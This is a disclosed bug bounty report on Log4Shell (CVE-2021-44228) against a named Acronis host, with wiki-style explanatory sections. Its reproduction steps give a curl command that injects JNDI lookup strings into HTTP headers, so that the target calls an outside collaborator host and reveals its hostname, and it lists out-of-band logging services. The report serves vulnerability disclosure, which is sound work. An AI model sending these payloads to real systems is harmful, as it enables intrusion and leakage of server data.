[CVE-2021-44228] Arbitrary Code Execution on ng01-cloud.acronis.com
The application used a vulnerable Log4j version; JNDI strings in HTTP headers caused a pingback, indicating possible remote code execution.
Originally disclosed on HackerOne
- Triaged in 7 hours
- Fixed in 2 months
- Paid in 36 days
- Disclosed after 2.6 years
Description
The application is using a vulnerable version of Log4j which allows arbitrary remote command execution. The vulnerability is also known as Log4Shell and is assigned CVE-2021-44228.
Reproduction Steps
For easier reproduction, please use Burp Collaborator and issue the following curl command with your collaborator instance URL;
curl --http1.1 --silent --output /dev/null \
--header 'User-agent: ${jndi:ldap://${hostName}.<COLLABORATOR_URL>/a}' \
--header 'X-Forwarded-For: ${jndi:ldap://${hostName}.<COLLABORATOR_URL>/a}' \
--header 'Referer: ${jndi:ldap://${hostName}.<COLLABORATOR_URL>/a}' \
https://ng01-cloud.acronis.com
You should receive a request to your Collaborator Client with your server's hostname as the prefix. That should suffice to prove that the host is vulnerable. The hostname I received was ng01-cloud-elk-ls-vm01.
Note that it may take some time to receive the pingbacks. In case Burp Collaborator doesn't work, I'd advise using your own. Some alternatives are;
- dig.pm
- app.interactsh.com
- dnslog.cn
- pingb.in
- requestbin.net
- canarytokens.com
Reference
https://www.lunasec.io/docs/blog/log4j-zero-day/
Impact
Arbitrary remote code execution
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Arbitrary remote code execution could be achieved, though the report only demonstrates a pingback and does not show actual code execution.
What the attacker needed
Ability to send HTTP requests to the target
How it was found
- Set up a Burp Collaborator instance or alternative DNS logging service.
- Send an HTTP request to the target with JNDI payloads in headers such as User-Agent, X-Forwarded-For, and Referer.
- Observe a request to the Collaborator server containing the target's hostname, confirming the vulnerability.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Log4j is a logging library used by many Java applications. It had a flaw where if it logged a special string like ${jndi:...}, it would fetch and run code from a remote server. This report shows that sending such a string in HTTP headers caused the server to make a request to the attacker's server, proving the vulnerability.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.